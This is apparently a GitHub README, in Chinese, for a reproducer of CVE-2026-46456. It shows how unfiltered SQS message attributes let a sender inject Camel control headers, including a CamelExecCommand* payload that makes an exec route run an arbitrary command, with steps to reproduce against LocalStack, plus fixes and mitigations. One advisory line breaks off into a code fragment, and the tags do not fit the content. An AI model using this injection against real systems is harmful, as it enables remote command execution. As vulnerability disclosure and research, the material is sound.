oscerd/CVE-2026-46456
GitHub: oscerd/CVE-2026-46456
这是一个复现 Apache Camel camel-aws2-sqs 入站消息属性标头注入漏洞（CVE-2026-46456）的安全研究项目，演示了攻击者如何通过注入 Camel 控制标头操纵下游 producer 实现远程代码执行。
Stars: 0 | Forks: 0
# camel-aws2-sqs 入站消息属性标头注入复现程序 (CVE-2026-46456)
本项目演示了 Apache Camel 的 `camel-aws2-sqs` 组件中的一个**消息标头注入**漏洞，追踪编号为
**CVE-2026-46456**。`Sqs2HeaderFilterStrategy` 仅配置了**出站**过滤器 (`setOutFilterPattern`，
该过滤器会阻止 `Camel*` / `breadcrumbId` / `org.apache.camel.*` 被写入 broker)，但**没有入站过滤器**。
因此，当 `Sqs2Consumer` 通过
`HeaderFilterStrategy.applyFilterToExternalHeaders` 将每个 SQS 消息属性复制到 Exchange 时，默认策略不应用任何入站规则，并
将每个标头名称视为*未被过滤*——包括 Camel 控制标头，如 `CamelHttpUri`、`CamelFileName`、
`CamelSqlQuery`（或者像这里的 `camel-exec` 控制标头）——将它们原封不动地复制到 Camel 消息上。
因此，任何能够向被消费队列发送消息的主体（`sqs:SendMessage`，包括跨账户或低权限的
发送者）都可以注入任意的 Camel 控制标头，从而操纵下游的 producer。
安全公告： entry : msg.messageAttributes().entrySet()) {
String header = entry.getKey();
Object value = Sqs2MessageHelper.fromMessageAttributeValue(entry.getValue());
if (!headerFilterStrategy.applyFilterToExternalHeaders(header, value, exchange)) {
message.setHeader(header, value); // <-- Camel control headers pass through
}
}
```
修复程序 (4.14.8 / 4.18.3 / 4.21.0) 在
`Sqs2HeaderFilterStrategy` 中添加了 `setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH)`，在入站映射时以不区分大小写的方式过滤 `Camel*` / `camel*`。
## 受害者路由
```
from("aws2-sqs://cve?amazonSQSClient=#sqsClient&autoCreateQueue=true&messageAttributeNames=All&deleteAfterRead=true")
.to("exec:echo?args=hello"); // route author only intends to run: echo hello
```
（`messageAttributeNames=All` 正是让消费者读取属性的原因——这正是该
注入产生影响的配置。）攻击者发送一条带有属性 `CamelExecCommandExecutable: /usr/bin/touch` 和
`CamelExecCommandArgs: /tmp/pwned` 的消息；消费者将它们映射到 Exchange 上，然后 exec producer 执行它们。
## 仓库布局
**受害者**是 Camel 路由；**攻击者**是任何拥有 `sqs:SendMessage` 权限的发送者。复现程序通过 LocalStack 在 Docker 中运行 SQS。
```
CVE-2026-46456/
├── pom.xml # camel-aws2-sqs + camel-exec 4.18.2 + aws-sdk sqs 2.41.28
├── Dockerfile
├── docker-compose.yml # LocalStack (SQS) + the reproducer app
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── SqsConfig.java # SqsClient bean pointed at LocalStack
│ ├── VictimRoute.java # aws2-sqs consumer -> exec:echo
│ └── ExploitController.java # attacker: SendMessage with CamelExec* attributes
└── resources/
└── application.properties
```
## 前置条件
- Java 17+ 和 Maven 3.8+
- Docker（用于运行 LocalStack 和应用程序）
## 复现步骤
### 步骤 1：构建并启动所有内容
```
mvn clean package -DskipTests
docker compose up -d --build
```
### 步骤 2：触发标头注入 (RCE)
```
curl -s http://localhost:8080/exploit/attack
# 已向队列 'cve' 发送了一条 SQS 消息，带有消息属性 {CamelExecCommandExecutable, CamelExecCommandArgs}。
# camel-aws2-sqs consumer 将它们映射到了 Exchange 上；exec producer 运行了该命令。
# # >>> RCE 证明 — /tmp/pwned 存在：true
```
### 步骤 3：验证
```
docker exec cve-2026-46456 ls -la /tmp/pwned
```
### 清理
```
docker compose down
```
## 攻击向量
任何具有 camel-aws2-sqs consumer 且导向下游 producer 的路由，只要该 producer 的行为是由 Camel
标头控制的——HTTP (`CamelHttpUri`)、file (`CamelFileName`)、SQL (`CamelSqlQuery`)、exec (`CamelExecCommand*`) 等。
任何在被消费队列上拥有 `sqs:SendMessage` 权限的主体都可以注入它们。
## 利用条件
1. 在受影响版本上的 camel-aws2-sqs consumer 会读取消息属性，并被路由到
标头可控的 producer。
2. 攻击者可以向被消费队列发送消息 (`sqs:SendMessage`)。
## 推荐修复方案
升级到 **4.14.8 / 4.18.3 / 4.21.0** (CAMEL-23506)，该版本向
`Sqs2HeaderFilterStrategy` 添加了入站 `Camel*` 过滤器。
## 缓解措施
在升级之前：
1. 在路由开始时剥离 Camel 控制标头：`.removeHeaders("Camel*")` 和
`.removeHeaders("camel*")`。
2. 通过在队列资源策略上使用最小权限的 `sqs:SendMessage` 来限制谁可以向被消费的队列发送消息。
## 免责声明
本复现程序仅用于**安全研究和授权测试**，针对的是**已公开披露并已修复**的漏洞。未经明确许可，请勿将其用于任何系统。
标签：Apache Camel, AWS SQS, JS文件枚举, PoC, Web报告查看器, 域名枚举, 暴力破解, 消息头注入, 漏洞复现, 请求拦截